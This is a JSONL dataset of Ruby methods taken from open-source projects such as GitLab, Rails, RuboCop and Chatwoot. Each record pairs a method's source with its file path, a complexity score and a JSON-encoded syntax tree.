{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/repositories/git_http_controller.rb","start_line":133,"raw_source":"def access_klass\n      @access_klass ||= repo_type.access_checker_class\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"access_klass\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@access_klass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repo_type\"]},\"access_checker_class\"]}]}]}","id":"95e8978b-70f1-45bd-bf23-a610c00394a2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/instrumentation/redis_base.rb","start_line":53,"raw_source":"def increment_read_bytes(num_bytes)\n          ::RequestStore[read_bytes_key] ||= 0\n          ::RequestStore[read_bytes_key] += num_bytes\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"increment_read_bytes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"num_bytes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RequestStore\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"read_bytes_key\"]}]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RequestStore\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"read_bytes_key\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"num_bytes\"]}]}]}]}","id":"7c1e6519-e365-4606-b369-c16ffd76813f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_inside_array_percent_literal.rb","start_line":40,"raw_source":"def each_unnecessary_space_match(node, &blk)\n          each_match_range(contents_range(node), MULTIPLE_SPACES_BETWEEN_ITEMS_REGEX, &blk)\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"each_unnecessary_space_match\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"send\",\"children\":[null,\"each_match_range\",{\"type\":\"send\",\"children\":[null,\"contents_range\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"const\",\"children\":[null,\"MULTIPLE_SPACES_BETWEEN_ITEMS_REGEX\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}]}","id":"4b5e5e31-4ec1-4b08-bada-14814c1dd7d5"}
{"repo_name":"reek","file_path":"./repos/reek/samples/smelly_source/redcloth.rb","start_line":886,"raw_source":"def inline_textile_image( text ) \n        text.gsub!( IMAGE_RE )  do |m|\n            stln,algn,atts,url,title,href,href_a1,href_a2 = $~[1..8]\n            atts = pba( atts )\n            atts = \" src=\\\"#{ url }\\\"#{ atts }\"\n            atts << \" title=\\\"#{ title }\\\"\" if title\n            atts << \" alt=\\\"#{ title }\\\"\" \n            # size = @getimagesize($url);\n            # if($size) $atts.= \" $size[3]\";\n\n            href, alt_title = check_refs( href ) if href\n            url, url_title = check_refs( url )\n\n            out = ''\n            out << \"<a#{ shelve( \" href=\\\"#{ href }\\\"\" ) }>\" if href\n            out << \"<img#{ shelve( atts ) } />\"\n            out << \"</a>#{ href_a1 }#{ href_a2 }\" if href\n            \n            if algn \n                algn = h_align( algn )\n                if stln == \"<p>\"\n                    out = \"<p style=\\\"float:#{ algn }\\\">#{ out }\"\n                else\n                    out = \"#{ stln }<div style=\\\"float:#{ algn }\\\">#{ out }</div>\"\n                end\n            else\n                out = stln + out\n            end\n\n            out\n        end\n    end","complexity_score":55.2,"ast_json":"{\"type\":\"def\",\"children\":[\"inline_textile_image\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"gsub!\",{\"type\":\"const\",\"children\":[null,\"IMAGE_RE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stln\"]},{\"type\":\"lvasgn\",\"children\":[\"algn\"]},{\"type\":\"lvasgn\",\"children\":[\"atts\"]},{\"type\":\"lvasgn\",\"children\":[\"url\"]},{\"type\":\"lvasgn\",\"children\":[\"title\"]},{\"type\":\"lvasgn\",\"children\":[\"href\"]},{\"type\":\"lvasgn\",\"children\":[\"href_a1\"]},{\"type\":\"lvasgn\",\"children\":[\"href_a2\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$~\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"atts\",{\"type\":\"send\",\"children\":[null,\"pba\",{\"type\":\"lvar\",\"children\":[\"atts\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"atts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" src=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"atts\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"atts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" title=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"atts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" alt=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"href\"]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"href\"]},{\"type\":\"lvasgn\",\"children\":[\"alt_title\"]}]},{\"type\":\"send\",\"children\":[null,\"check_refs\",{\"type\":\"lvar\",\"children\":[\"href\"]}]}]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\"]},{\"type\":\"lvasgn\",\"children\":[\"url_title\"]}]},{\"type\":\"send\",\"children\":[null,\"check_refs\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<a\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shelve\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" href=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"href\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<img\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shelve\",{\"type\":\"lvar\",\"children\":[\"atts\"]}]}]},{\"type\":\"str\",\"children\":[\" />\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"</a>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"href_a1\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"href_a2\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"algn\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"algn\",{\"type\":\"send\",\"children\":[null,\"h_align\",{\"type\":\"lvar\",\"children\":[\"algn\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stln\"]},\"==\",{\"type\":\"str\",\"children\":[\"<p>\"]}]},{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<p style=\\\"float:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"algn\"]}]},{\"type\":\"str\",\"children\":[\"\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stln\"]}]},{\"type\":\"str\",\"children\":[\"<div style=\\\"float:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"algn\"]}]},{\"type\":\"str\",\"children\":[\"\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]}]},{\"type\":\"str\",\"children\":[\"</div>\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stln\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"out\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"out\"]}]}]}]}","id":"2d1928b0-a388-4809-adfd-b04c10490dbd"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/gym/lib/gym/xcodebuild_fixes/generic_archive_fix.rb","start_line":29,"raw_source":"def is_watchkit_app?(app_path)\n        plist_path = \"#{app_path}/Info.plist\"\n        `/usr/libexec/PlistBuddy -c 'Print :DTSDKName' #{plist_path.shellescape} 2>&1`.match(/^\\s*watchos2\\.\\d+\\s*$/) != nil\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"is_watchkit_app?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plist_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_path\"]}]},{\"type\":\"str\",\"children\":[\"/Info.plist\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/usr/libexec/PlistBuddy -c 'Print :DTSDKName' \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plist_path\"]},\"shellescape\"]}]},{\"type\":\"str\",\"children\":[\" 2>&1\"]}]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\s*watchos2\\\\.\\\\d+\\\\s*$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"!=\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"15f87869-55af-4f1b-8101-ed3c587d086f"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/edit_fields/text_editor_field.rb","start_line":44,"raw_source":"def submit_by_click\n    target = field_container.find(control_link, wait: 10)\n    scroll_to_element(target)\n    target.click\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"submit_by_click\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"field_container\"]},\"find\",{\"type\":\"send\",\"children\":[null,\"control_link\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"scroll_to_element\",{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"click\"]}]}]}","id":"2a26c5ca-fd7a-4508-aa5e-cf0119198804"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/application_job.rb","start_line":38,"raw_source":"def job_scheduled_at\n    GoodJob::Job.where(id: job_id).pick(:scheduled_at)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"job_scheduled_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GoodJob\"]},\"Job\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"job_id\"]}]}]}]},\"pick\",{\"type\":\"sym\",\"children\":[\"scheduled_at\"]}]}]}","id":"5b79273b-6486-40be-a1bd-e1af0b8fc019"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/boards/issues/list_service.rb","start_line":28,"raw_source":"def finder\n        IssuesFinder.new(current_user, filter_params)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"finder\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IssuesFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"filter_params\"]}]}]}","id":"4512c387-c292-41d4-9b12-f9a96ba99539"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/gitlab/github_import/stage/import_issue_events_worker.rb","start_line":17,"raw_source":"def import(client, project)\n          importer = ::Gitlab::GithubImport::Importer::SingleEndpointIssueEventsImporter\n          info(project.id, message: \"starting importer\", importer: importer.name)\n          waiter = importer.new(project, client).execute\n\n          AdvanceStageWorker.perform_async(project.id, { waiter.key => waiter.jobs_remaining }, 'attachments')\n        end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"import\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]},{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"importer\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"GithubImport\"]},\"Importer\"]},\"SingleEndpointIssueEventsImporter\"]}]},{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"starting importer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"importer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"importer\"]},\"name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"waiter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"importer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"client\"]}]},\"execute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AdvanceStageWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"waiter\"]},\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"waiter\"]},\"jobs_remaining\"]}]}]},{\"type\":\"str\",\"children\":[\"attachments\"]}]}]}]}","id":"1c1dbcee-29be-4992-b38f-f375c9503df7"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/inboxes_controller.rb","start_line":206,"raw_source":"def trigger_template_sync\n    if @inbox.whatsapp?\n      Channels::Whatsapp::TemplatesSyncJob.perform_later(@inbox.channel)\n    elsif @inbox.twilio? && @inbox.channel.whatsapp?\n      Channels::Twilio::TemplatesSyncJob.perform_later(@inbox.channel)\n    end\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger_template_sync\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},\"whatsapp?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Channels\"]},\"Whatsapp\"]},\"TemplatesSyncJob\"]},\"perform_later\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},\"channel\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},\"twilio?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},\"channel\"]},\"whatsapp?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Channels\"]},\"Twilio\"]},\"TemplatesSyncJob\"]},\"perform_later\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},\"channel\"]}]},null]}]}]}","id":"838455c0-565b-4c36-b556-28d7ca898c00"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/automation_rules/action_service.rb","start_line":25,"raw_source":"def send_attachment(blob_ids)\n    return if conversation_a_tweet?\n\n    return unless @rule.files.attached?\n\n    blobs = ActiveStorage::Blob.where(id: blob_ids)\n\n    return if blobs.blank?\n\n    params = { content: nil, private: false, attachments: blobs }\n    Messages::MessageBuilder.new(nil, @conversation, params).perform\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"send_attachment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"blob_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversation_a_tweet?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rule\"]},\"files\"]},\"attached?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"blobs\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Blob\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"blob_ids\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blobs\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attachments\"]},{\"type\":\"lvar\",\"children\":[\"blobs\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Messages\"]},\"MessageBuilder\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"ivar\",\"children\":[\"@conversation\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},\"perform\"]}]}]}","id":"5e5811f7-2124-4c6e-9fb4-2f81ee6d0d0a"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_unsafe_reflection_methods.rb","start_line":24,"raw_source":"def check_tap\n    tracker.find_call(method: :tap, nested: true).each do |result|\n      argument = result[:call].first_arg\n\n      # Argument is passed like a.tap(&argument)\n      if node_type? argument, :block_pass\n        argument = argument.value\n      end\n\n      if user_input = include_user_input?(argument)\n        warn_unsafe_reflection(result, user_input)\n      end\n    end\n  end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check_tap\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"find_call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"tap\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nested\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"argument\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"call\"]}]},\"first_arg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node_type?\",{\"type\":\"lvar\",\"children\":[\"argument\"]},{\"type\":\"sym\",\"children\":[\"block_pass\"]}]},{\"type\":\"lvasgn\",\"children\":[\"argument\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"argument\"]},\"value\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_input\",{\"type\":\"send\",\"children\":[null,\"include_user_input?\",{\"type\":\"lvar\",\"children\":[\"argument\"]}]}]},{\"type\":\"send\",\"children\":[null,\"warn_unsafe_reflection\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"user_input\"]}]},null]}]}]}]}","id":"e0c69a63-b609-44a9-ba16-72fc13657f49"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/schema_definitions_test.rb","start_line":67,"raw_source":"def test_build_create_index_definition_for_existing_index\n          connection.create_table(:test) do |t|\n            t.column :foo, :string\n          end\n          connection.add_index(:test, :foo)\n\n          create_index = connection.build_create_index_definition(:test, :foo, if_not_exists: true)\n          assert_nil create_index\n        ensure\n          connection.drop_table(:test) if connection.table_exists?(:test)\n        end","complexity_score":17.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_build_create_index_definition_for_existing_index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"create_table\",{\"type\":\"sym\",\"children\":[\"test\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"add_index\",{\"type\":\"sym\",\"children\":[\"test\"]},{\"type\":\"sym\",\"children\":[\"foo\"]}]},{\"type\":\"lvasgn\",\"children\":[\"create_index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"build_create_index_definition\",{\"type\":\"sym\",\"children\":[\"test\"]},{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"lvar\",\"children\":[\"create_index\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"table_exists?\",{\"type\":\"sym\",\"children\":[\"test\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"drop_table\",{\"type\":\"sym\",\"children\":[\"test\"]}]},null]}]}]}","id":"93472536-7e33-4ab5-83bc-bb851df89e66"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/ci/namespaced_model_name.rb","start_line":8,"raw_source":"def model_name\n        @model_name ||= ActiveModel::Name.new(self, Ci)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"model_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@model_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Name\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"const\",\"children\":[null,\"Ci\"]}]}]}]}","id":"72977aff-6a8b-4e23-baab-9d818436ca63"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/redirecting.rb","start_line":266,"raw_source":"def _extract_redirect_to_status(options, response_options)\n        if options.is_a?(Hash) && options.key?(:status)\n          ActionDispatch::Response.rack_status_code(options.delete(:status))\n        elsif response_options.key?(:status)\n          ActionDispatch::Response.rack_status_code(response_options[:status])\n        else\n          302\n        end\n      end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"_extract_redirect_to_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"arg\",\"children\":[\"response_options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Response\"]},\"rack_status_code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_options\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Response\"]},\"rack_status_code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]},{\"type\":\"int\",\"children\":[302]}]}]}]}","id":"4b588a02-5579-4efb-abd8-41862867b03b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/nested_attributes_with_callbacks_test.rb","start_line":106,"raw_source":"def assert_callbacks_not_called\n    assert_empty new_birds\n    assert_empty @@add_callback_called\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_callbacks_not_called\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[null,\"new_birds\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"cvar\",\"children\":[\"@@add_callback_called\"]}]}]}]}","id":"a50fa666-0161-4a43-9383-bccd33d4aeab"}
